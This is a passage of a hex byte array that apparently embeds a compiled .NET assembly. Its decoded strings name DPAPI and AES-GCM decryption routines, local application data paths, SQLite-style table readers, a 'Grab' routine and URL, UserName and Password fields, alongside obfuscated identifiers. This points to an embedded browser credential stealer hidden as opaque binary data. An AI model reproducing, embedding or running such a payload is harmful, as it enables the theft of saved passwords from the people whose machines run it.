0x08, 0x0F, 0x3B, 0x03,\n\t0x09, 0x00, 0x14, 0x00, 0x53, 0x03, 0x09, 0x00, 0x18, 0x00, 0x58, 0x03,\n\t0x09, 0x00, 0x1C, 0x00, 0x5D, 0x03, 0x0E, 0x00, 0x15, 0x01, 0x62, 0x03,\n\t0x21, 0x00, 0x73, 0x00, 0x3A, 0x05, 0x2E, 0x00, 0x0B, 0x00, 0xA0, 0x04,\n\t0x2E, 0x00, 0x13, 0x00, 0xA9, 0x04, 0x2E, 0x00, 0x1B, 0x00, 0xC8, 0x04,\n\t0x2E, 0x00, 0x23, 0x00, 0xD1, 0x04, 0x2E, 0x00, 0x2B, 0x00, 0xE5, 0x04,\n\t0x2E, 0x00, 0x33, 0x00, 0xE5, 0x04, 0x2E, 0x00, 0x3B, 0x00, 0xE5, 0x04,\n\t0x2E, 0x00, 0x43, 0x00, 0xD1, 0x04, 0x2E, 0x00, 0x4B, 0x00, 0xEB, 0x04,\n\t0x2E, 0x00, 0x53, 0x00, 0xE5, 0x04, 0x2E, 0x00, 0x5B, 0x00, 0xE5, 0x04,\n\t0x2E, 0x00, 0x63, 0x00, 0x03, 0x05, 0x2E, 0x00, 0x6B, 0x00, 0x2D, 0x05,\n\t0x41, 0x00, 0x73, 0x00, 0x3A, 0x05, 0x60, 0x00, 0x73, 0x00, 0x3A, 0x05,\n\t0x61, 0x00, 0x73, 0x00, 0x3A, 0x05, 0x80, 0x00, 0x73, 0x00, 0x3A, 0x05,\n\t0x81, 0x00, 0x73, 0x00, 0x3A, 0x05, 0xA0, 0x00, 0x73, 0x00, 0x3A, 0x05,\n\t0xC0, 0x00, 0x73, 0x00, 0x3A, 0x05, 0xE0, 0x00, 0x73, 0x00, 0x3A, 0x05,\n\t0x00, 0x01, 0x73, 0x00, 0x3A, 0x05, 0x20, 0x01, 0x73, 0x00, 0x3A, 0x05,\n\t0x23, 0x01, 0x73, 0x00, 0x3A, 0x05, 0x40, 0x01, 0x73, 0x00, 0x3A, 0x05,\n\t0x64, 0x02, 0x7B, 0x00, 0x3A, 0x05, 0x2B, 0x00, 0x6F, 0x03, 0x2D, 0x00,\n\t0x6F, 0x03, 0x37, 0x00, 0x6F, 0x03, 0x3A, 0x00, 0x6F, 0x03, 0x43, 0x00,\n\t0x6F, 0x03, 0x4F, 0x00, 0x6F, 0x03, 0x5E, 0x00, 0x6F, 0x03, 0x01, 0x00,\n\t0x0A, 0x00, 0x00, 0x00, 0x11, 0x00, 0x1A, 0x00, 0x6B, 0x00, 0x86, 0x00,\n\t0x92, 0x00, 0x9C, 0x00, 0xB2, 0x00, 0xB9, 0x00, 0xD5, 0x00, 0x33, 0x01,\n\t0x74, 0x01, 0x86, 0x01, 0x94, 0x01, 0xE0, 0x01, 0xEF, 0x01, 0x54, 0x02,\n\t0x5A, 0x02, 0x6D, 0x02, 0x8A, 0x02, 0x90, 0x02, 0x95, 0x02, 0xD5, 0x02,\n\t0xF8, 0x02, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0x05, 0x9C, 0x04,\n\t0x00, 0x00, 0x33, 0x04, 0x9C, 0x04, 0x00, 0x00, 0xC9, 0x01, 0x9C, 0x04,\n\t0x00, 0x00, 0x2C, 0x09, 0x9C, 0x04, 0x02, 0x00, 0x03, 0x00, 0x03, 0x00,\n\t0x01, 0x00, 0x04, 0x00, 0x03, 0x00, 0x02, 0x00, 0x05, 0x00, 0x05, 0x00,\n\t0x01, 0x00, 0x06, 0x00, 0x05, 0x00, 0x02, 0x00, 0x07, 0x00, 0x07, 0x00,\n\t0x01, 0x00, 0x08, 0x00, 0x07, 0x00, 0x02, 0x00, 0x09, 0x00, 0x09, 0x00,\n\t0x01, 0x00, 0x0A, 0x00, 0x09, 0x00, 0x95, 0x08, 0x2D, 0x00, 0x34, 0x00,\n\t0x44, 0x00, 0xA9, 0x00, 0xEA, 0x00, 0x0A, 0x01, 0x1C, 0x01, 0x48, 0x01,\n\t0x87, 0x02, 0xC0, 0x02, 0x0E, 0x03, 0x19, 0x03, 0x00, 0x01, 0x27, 0x00,\n\t0x03, 0x0A, 0x01, 0x00, 0x00, 0x01, 0x29, 0x00, 0xE6, 0x09, 0x01, 0x00,\n\t0x00, 0x01, 0x2B, 0x00, 0x4F, 0x0F, 0x01, 0x00, 0x00, 0x01, 0x2D, 0x00,\n\t0x61, 0x0F, 0x01, 0x00, 0x00, 0x01, 0x2F, 0x00, 0x6E, 0x0E, 0x01, 0x00,\n\t0x00, 0x01, 0x31, 0x00, 0x7E, 0x0E, 0x01, 0x00, 0x00, 0x01, 0x33, 0x00,\n\t0x6A, 0x0D, 0x01, 0x00, 0x00, 0x01, 0x35, 0x00, 0x5C, 0x0D, 0x01, 0x00,\n\t0xD8, 0x7A, 0x00, 0x00, 0x1C, 0x00, 0x04, 0x80, 0x00, 0x00, 0x01, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0xC3, 0x0E, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x41, 0x03, 0x4A, 0x03, 0x00, 0x00, 0x00, 0x00,\n\t0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x41, 0x03, 0xCF, 0x08, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x03, 0x16, 0x0F,\n\t0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x4A, 0x03, 0x6E, 0x03, 0x00, 0x00, 0x00, 0x00,\n\t0x0A, 0x00, 0x05, 0x00, 0x0B, 0x00, 0x05, 0x00, 0x0C, 0x00, 0x05, 0x00,\n\t0x0D, 0x00, 0x05, 0x00, 0x0E, 0x00, 0x08, 0x00, 0x0F, 0x00, 0x08, 0x00,\n\t0x10, 0x00, 0x08, 0x00, 0x11, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x5F, 0x5F, 0x53, 0x74, 0x61, 0x74, 0x69, 0x63, 0x41, 0x72, 0x72,\n\t0x61, 0x79, 0x49, 0x6E, 0x69, 0x74, 0x54, 0x79, 0x70, 0x65, 0x53, 0x69,\n\t0x7A, 0x65, 0x3D, 0x31, 0x30, 0x00, 0x49, 0x45, 0x6E, 0x75, 0x6D, 0x65,\n\t0x72, 0x61, 0x62, 0x6C, 0x65, 0x60, 0x31, 0x00, 0x4C, 0x69, 0x73, 0x74,\n\t0x60, 0x31, 0x00, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x00, 0x54, 0x6F,\n\t0x49, 0x6E, 0x74, 0x33, 0x32, 0x00, 0x41, 0x50, 0x37, 0x5A, 0x39, 0x56,\n\t0x35, 0x42, 0x33, 0x57, 0x32, 0x00, 0x4B, 0x65, 0x79, 0x56, 0x61, 0x6C,\n\t0x75, 0x65, 0x50, 0x61, 0x69, 0x72, 0x60, 0x32, 0x00, 0x44, 0x69, 0x63,\n\t0x74, 0x69, 0x6F, 0x6E, 0x61, 0x72, 0x79, 0x60, 0x32, 0x00, 0x54, 0x6F,\n\t0x55, 0x49, 0x6E, 0x74, 0x36, 0x34, 0x00, 0x54, 0x6F, 0x49, 0x6E, 0x74,\n\t0x36, 0x34, 0x00, 0x54, 0x6F, 0x55, 0x49, 0x6E, 0x74, 0x31, 0x36, 0x00,\n\t0x54, 0x38, 0x45, 0x39, 0x41, 0x35, 0x4D, 0x31, 0x49, 0x37, 0x4D, 0x30,\n\t0x47, 0x36, 0x46, 0x38, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x55, 0x54, 0x46,\n\t0x38, 0x00, 0x37, 0x44, 0x37, 0x38, 0x43, 0x42, 0x33, 0x38, 0x30, 0x42,\n\t0x46, 0x35, 0x45, 0x46, 0x42, 0x37, 0x42, 0x38, 0x35, 0x31, 0x34, 0x30,\n\t0x39, 0x43, 0x41, 0x36, 0x41, 0x38, 0x37, 0x35, 0x46, 0x37, 0x37, 0x44,\n\t0x45, 0x43, 0x46, 0x30, 0x39, 0x44, 0x31, 0x39, 0x42, 0x39, 0x31, 0x34,\n\t0x39, 0x44, 0x41, 0x31, 0x37, 0x41, 0x33, 0x45, 0x42, 0x46, 0x36, 0x37,\n\t0x34, 0x42, 0x43, 0x30, 0x46, 0x39, 0x00, 0x3C, 0x4D, 0x6F, 0x64, 0x75,\n\t0x6C, 0x65, 0x3E, 0x00, 0x3C, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65,\n\t0x49, 0x6D, 0x70, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x61, 0x74, 0x69,\n\t0x6F, 0x6E, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6C, 0x73, 0x3E, 0x00, 0x42,\n\t0x43, 0x52, 0x59, 0x50, 0x54, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x41,\n\t0x54, 0x41, 0x5F, 0x42, 0x4C, 0x4F, 0x42, 0x00, 0x42, 0x43, 0x52, 0x59,\n\t0x50, 0x54, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x41, 0x54, 0x41, 0x5F,\n\t0x42, 0x4C, 0x4F, 0x42, 0x5F, 0x4D, 0x41, 0x47, 0x49, 0x43, 0x00, 0x63,\n\t0x62, 0x41, 0x41, 0x44, 0x00, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5F,\n\t0x43, 0x48, 0x41, 0x49, 0x4E, 0x49, 0x4E, 0x47, 0x5F, 0x4D, 0x4F, 0x44,\n\t0x45, 0x00, 0x4C, 0x4F, 0x46, 0x00, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54,\n\t0x5F, 0x41, 0x55, 0x54, 0x48, 0x5F, 0x4D, 0x4F, 0x44, 0x45, 0x5F, 0x43,\n\t0x48, 0x41, 0x49, 0x4E, 0x5F, 0x43, 0x41, 0x4C, 0x4C, 0x53, 0x5F, 0x46,\n\t0x4C, 0x41, 0x47, 0x00, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5F, 0x41,\n\t0x55, 0x54, 0x48, 0x5F, 0x54, 0x41, 0x47, 0x5F, 0x4D, 0x49, 0x53, 0x4D,\n\t0x41, 0x54, 0x43, 0x48, 0x00, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5F,\n\t0x41, 0x55, 0x54, 0x48, 0x5F, 0x54, 0x41, 0x47, 0x5F, 0x4C, 0x45, 0x4E,\n\t0x47, 0x54, 0x48, 0x00, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5F, 0x4F,\n\t0x42, 0x4A, 0x45, 0x43, 0x54, 0x5F, 0x4C, 0x45, 0x4E, 0x47, 0x54, 0x48,\n\t0x00, 0x67, 0x65, 0x74, 0x5F, 0x55, 0x52, 0x4C, 0x00, 0x73, 0x65, 0x74,\n\t0x5F, 0x55, 0x52, 0x4C, 0x00, 0x43, 0x56, 0x4C, 0x00, 0x47, 0x56, 0x4C,\n\t0x00, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5F, 0x43, 0x48, 0x41, 0x49,\n\t0x4E, 0x5F, 0x4D, 0x4F, 0x44, 0x45, 0x5F, 0x47, 0x43, 0x4D, 0x00, 0x42,\n\t0x43, 0x52, 0x59, 0x50, 0x54, 0x5F, 0x41, 0x45, 0x53, 0x5F, 0x41, 0x4C,\n\t0x47, 0x4F, 0x52, 0x49, 0x54, 0x48, 0x4D, 0x00, 0x5A, 0x55, 0x49, 0x44,\n\t0x48, 0x4E, 0x4A, 0x4B, 0x53, 0x44, 0x4E, 0x00, 0x42, 0x43, 0x52, 0x59,\n\t0x50, 0x54, 0x5F, 0x49, 0x4E, 0x49, 0x54, 0x5F, 0x41, 0x55, 0x54, 0x48,\n\t0x5F, 0x4D, 0x4F, 0x44, 0x45, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x5F, 0x56,\n\t0x45, 0x52, 0x53, 0x49, 0x4F, 0x4E, 0x00, 0x42, 0x43, 0x52, 0x59, 0x50,\n\t0x54, 0x5F, 0x41, 0x55, 0x54, 0x48, 0x45, 0x4E, 0x54, 0x49, 0x43, 0x41,\n\t0x54, 0x45, 0x44, 0x5F, 0x43, 0x49, 0x50, 0x48, 0x45, 0x52, 0x5F, 0x4D,\n\t0x4F, 0x44, 0x45, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x00, 0x42, 0x43, 0x52,\n\t0x59, 0x50, 0x54, 0x5F, 0x4F, 0x41, 0x45, 0x50, 0x5F, 0x50, 0x41, 0x44,\n\t0x44, 0x49, 0x4E, 0x47, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x00, 0x42, 0x43,\n\t0x52, 0x59, 0x50, 0x54, 0x5F, 0x50, 0x53, 0x53, 0x5F, 0x50, 0x41, 0x44,\n\t0x44, 0x49, 0x4E, 0x47, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x00, 0x53, 0x79,\n\t0x73, 0x74, 0x65, 0x6D, 0x2E, 0x49, 0x4F, 0x00, 0x42, 0x43, 0x52, 0x59,\n\t0x50, 0x54, 0x5F, 0x50, 0x41, 0x44, 0x5F, 0x4F, 0x41, 0x45, 0x50, 0x00,\n\t0x4D, 0x53, 0x5F, 0x50, 0x52, 0x49, 0x4D, 0x49, 0x54, 0x49, 0x56, 0x45,\n\t0x5F, 0x50, 0x52, 0x4F, 0x56, 0x49, 0x44, 0x45, 0x52, 0x00, 0x45, 0x52,\n\t0x52, 0x4F, 0x52, 0x5F, 0x53, 0x55, 0x43, 0x43, 0x45, 0x53, 0x53, 0x00,\n\t0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5F, 0x50, 0x41, 0x44, 0x5F, 0x50,\n\t0x53, 0x53, 0x00, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5F, 0x4B, 0x45,\n\t0x59, 0x5F, 0x4C, 0x45, 0x4E, 0x47, 0x54, 0x48, 0x53, 0x5F, 0x53, 0x54,\n\t0x52, 0x55, 0x43, 0x54, 0x00, 0x63, 0x62, 0x49, 0x56, 0x00, 0x70, 0x62,\n\t0x49, 0x56, 0x00, 0x63, 0x62, 0x44, 0x61, 0x74, 0x61, 0x00, 0x50, 0x72,\n\t0x6F, 0x74, 0x65, 0x63, 0x74, 0x65, 0x64, 0x44, 0x61, 0x74, 0x61, 0x00,\n\t0x65, 0x6E, 0x63, 0x72, 0x79, 0x70, 0x74, 0x65, 0x64, 0x44, 0x61, 0x74,\n\t0x61, 0x00, 0x63, 0x62, 0x41, 0x75, 0x74, 0x68, 0x44, 0x61, 0x74, 0x61,\n\t0x00, 0x70, 0x62, 0x41, 0x75, 0x74, 0x68, 0x44, 0x61, 0x74, 0x61, 0x00,\n\t0x4C, 0x6F, 0x63, 0x61, 0x6C, 0x41, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61,\n\t0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, 0x00, 0x47, 0x72, 0x61,\n\t0x62, 0x00, 0x6D, 0x73, 0x63, 0x6F, 0x72, 0x6C, 0x69, 0x62, 0x00, 0x53,\n\t0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x43, 0x6F, 0x6C, 0x6C, 0x65, 0x63,\n\t0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x47, 0x65, 0x6E, 0x65, 0x72, 0x69,\n\t0x63, 0x00, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E,\n\t0x56, 0x69, 0x73, 0x75, 0x61, 0x6C, 0x42, 0x61, 0x73, 0x69, 0x63, 0x00,\n\t0x70, 0x73, 0x7A, 0x41, 0x6C, 0x67, 0x49, 0x64, 0x00, 0x61, 0x61, 0x64,\n\t0x00, 0x41, 0x64, 0x64, 0x00, 0x49, 0x73, 0x4F, 0x64, 0x64, 0x00, 0x72,\n\t0x6F, 0x77, 0x5F, 0x69, 0x64, 0x00, 0x3C, 0x55, 0x52, 0x4C, 0x3E, 0x6B,\n\t0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65,\n\t0x6C, 0x64, 0x00, 0x3C, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64,\n\t0x3E, 0x6B, 0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46,\n\t0x69, 0x65, 0x6C, 0x64, 0x00, 0x3C, 0x55, 0x73, 0x65, 0x72, 0x4E, 0x61,\n\t0x6D, 0x65, 0x3E, 0x6B, 0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E,\n\t0x67, 0x46, 0x69, 0x65, 0x6C, 0x64, 0x00, 0x3C, 0x41, 0x70, 0x70, 0x6C,\n\t0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x6B, 0x5F, 0x5F, 0x42,\n\t0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65, 0x6C, 0x64, 0x00,\n\t0x72, 0x65, 0x63, 0x6F, 0x72, 0x64, 0x5F, 0x68, 0x65, 0x61, 0x64, 0x65,\n\t0x72, 0x5F, 0x66, 0x69, 0x65, 0x6C, 0x64, 0x00, 0x52, 0x6F, 0x75, 0x6E,\n\t0x64, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F,\n\t0x72, 0x64, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x50, 0x61, 0x73, 0x73, 0x77,\n\t0x6F, 0x72, 0x64, 0x00, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x63, 0x62,\n\t0x4E, 0x6F, 0x6E, 0x63, 0x65, 0x00, 0x70, 0x62, 0x4E, 0x6F, 0x6E, 0x63,\n\t0x65, 0x00, 0x63, 0x68, 0x61, 0x69, 0x6E, 0x69, 0x6E, 0x67, 0x4D, 0x6F,\n\t0x64, 0x65, 0x00, 0x4F, 0x70, 0x65, 0x6E, 0x4D, 0x6F, 0x64, 0x65, 0x00,\n\t0x67, 0x65, 0x74, 0x5F, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x00,\n\t0x67, 0x65, 0x74, 0x5F, 0x42, 0x69, 0x67, 0x45, 0x6E, 0x64, 0x69, 0x61,\n\t0x6E, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x00, 0x41, 0x64, 0x64,\n\t0x52, 0x61, 0x6E, 0x67, 0x65, 0x00, 0x52, 0x65, 0x61, 0x64, 0x54, 0x61,\n\t0x62, 0x6C, 0x65, 0x00, 0x52, 0x65, 0x61, 0x64, 0x4D, 0x61, 0x73, 0x74,\n\t0x65, 0x72, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x00, 0x49, 0x44, 0x69, 0x73,\n\t0x70, 0x6F, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x00, 0x74, 0x61, 0x62, 0x6C,\n\t0x65, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x46, 0x69, 0x65,\n\t0x6C, 0x64, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x00, 0x52, 0x75, 0x6E,\n\t0x74, 0x69, 0x6D, 0x65, 0x54, 0x79, 0x70, 0x65, 0x48, 0x61, 0x6E, 0x64,\n\t0x6C, 0x65, 0x00, 0x47, 0x65, 0x74, 0x54, 0x79, 0x70, 0x65, 0x46, 0x72,\n\t0x6F, 0x6D, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x00, 0x46, 0x69, 0x6C,\n\t0x65, 0x00, 0x43, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x00, 0x54, 0x61,\n\t0x62, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x62, 0x61, 0x73, 0x65,\n\t0x4E, 0x61, 0x6D, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x46, 0x75, 0x6C,\n\t0x6C, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x55, 0x73,\n\t0x65, 0x72, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x55,\n\t0x73, 0x65, 0x72, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x61, 0x73, 0x74, 0x61,\n\t0x62, 0x6C, 0x65, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x00, 0x69, 0x74, 0x65,\n\t0x6D, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x00, 0x4F, 0x6E, 0x65, 0x00, 0x57,\n\t0x72, 0x69, 0x74, 0x65, 0x4C, 0x69, 0x6E, 0x65, 0x00, 0x43, 0x6F, 0x6D,\n\t0x62, 0x69, 0x6E, 0x65, 0x00, 0x44, 0x61, 0x74, 0x61, 0x50, 0x72, 0x6F,\n\t0x74, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x63, 0x6F, 0x70, 0x65,\n\t0x00, 0x70, 0x73, 0x7A, 0x42, 0x6C, 0x6F, 0x62, 0x54, 0x79, 0x70, 0x65,\n\t0x00, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x54, 0x79, 0x70, 0x65, 0x00, 0x69,\n\t0x74, 0x65, 0x6D, 0x5F, 0x74, 0x79, 0x70, 0x65, 0x00, 0x4F, 0x70, 0x65,\n\t0x6E, 0x53, 0x68, 0x61, 0x72, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x61,\n\t0x72, 0x65, 0x00, 0x43, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x00, 0x46,\n\t0x69, 0x6C, 0x65, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x44, 0x69, 0x73,\n\t0x70, 0x6F, 0x73, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65,\n\t0x72, 0x47, 0x65, 0x6E, 0x65, 0x72, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74,\n\t0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x47, 0x75, 0x69, 0x64,\n\t0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x44, 0x65,\n\t0x62, 0x75, 0x67, 0x67, 0x61, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72,\n\t0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x56, 0x69, 0x73,\n\t0x69, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74,\n\t0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x54, 0x69,\n\t0x74, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65,\n\t0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x54, 0x72, 0x61,\n\t0x64, 0x65, 0x6D, 0x61, 0x72, 0x6B, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62,\n\t0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79,\n\t0x46, 0x69, 0x6C, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x41,\n\t0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73,\n\t0x65, 0x6D, 0x62, 0x6C, 0x79, 0x43, 0x6F, 0x6E, 0x66, 0x69, 0x67, 0x75,\n\t0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62,\n\t0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79,\n\t0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x41,\n\t0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D,\n\t0x70, 0x69, 0x6C, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x52, 0x65, 0x6C, 0x61,\n\t0x78, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x41, 0x74, 0x74, 0x72, 0x69,\n\t0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C,\n\t0x79, 0x50, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x41, 0x74, 0x74, 0x72,\n\t0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62,\n\t0x6C, 0x79, 0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x41,\n\t0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x50, 0x61, 0x72,\n\t0x61, 0x6D, 0x41, 0x72, 0x72, 0x61, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69,\n\t0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C,\n\t0x79, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x6E, 0x79, 0x41, 0x74, 0x74, 0x72,\n\t0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D,\n\t0x65, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x69, 0x6C, 0x69,\n\t0x74, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00,\n\t0x42, 0x79, 0x74, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x56, 0x61, 0x6C,\n\t0x75, 0x65, 0x00, 0x47, 0x65, 0x74, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00,\n\t0x76, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x63, 0x62, 0x53, 0x69, 0x7A, 0x65,\n\t0x00, 0x53, 0x51, 0x4C, 0x44, 0x61, 0x74, 0x61, 0x54, 0x79, 0x70, 0x65,\n\t0x53, 0x69, 0x7A, 0x65, 0x00, 0x4D, 0x61, 0x78, 0x41, 0x75, 0x74, 0x68,\n\t0x54, 0x61, 0x67, 0x53, 0x69, 0x7A, 0x65, 0x00, 0x70, 0x61, 0x67, 0x65,\n\t0x5F, 0x73, 0x69, 0x7A, 0x65, 0x00, 0x53, 0x69, 0x7A, 0x65, 0x4F, 0x66,\n\t0x00, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x4F, 0x66, 0x00, 0x63, 0x62, 0x54,\n\t0x61, 0x67, 0x00, 0x70, 0x62, 0x54, 0x61, 0x67, 0x00, 0x61, 0x75, 0x74,\n\t0x68, 0x54, 0x61, 0x67, 0x00, 0x74, 0x61, 0x67, 0x00, 0x68, 0x41, 0x6C,\n\t0x67, 0x00, 0x61, 0x6C, 0x67, 0x00, 0x45, 0x6E, 0x63, 0x6F, 0x64, 0x69,\n\t0x6E, 0x67, 0x00, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x00,\n\t0x46, 0x72, 0x6F, 0x6D, 0x42, 0x61, 0x73, 0x65, 0x36, 0x34, 0x53, 0x74,\n\t0x72, 0x69, 0x6E, 0x67, 0x00, 0x54, 0x6F, 0x53, 0x74, 0x72, 0x69, 0x6E,\n\t0x67, 0x00, 0x47, 0x65, 0x74, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00,\n\t0x53, 0x75, 0x62, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x4D, 0x61,\n\t0x74, 0x63, 0x68, 0x00, 0x4D, 0x61, 0x74, 0x68, 0x00, 0x47, 0x65, 0x74,\n\t0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x50, 0x61, 0x74, 0x68, 0x00, 0x44,\n\t0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x50, 0x61, 0x74, 0x68,\n\t0x00, 0x70, 0x61, 0x74, 0x68, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x4C, 0x65,\n\t0x6E, 0x67, 0x74, 0x68, 0x00, 0x64, 0x77, 0x4D, 0x69, 0x6E, 0x4C, 0x65,\n\t0x6E, 0x67, 0x74, 0x68, 0x00, 0x64, 0x77, 0x4D, 0x61, 0x78, 0x4C, 0x65,\n\t0x6E, 0x67, 0x74, 0x68, 0x00, 0x53, 0x74, 0x61, 0x72, 0x74, 0x73, 0x57,\n\t0x69, 0x74, 0x68, 0x00, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x47, 0x6C,\n\t0x6F, 0x62, 0x61, 0x6C, 0x00, 0x46, 0x72, 0x65, 0x65, 0x48, 0x47, 0x6C,\n\t0x6F, 0x62, 0x61, 0x6C, 0x00, 0x4D, 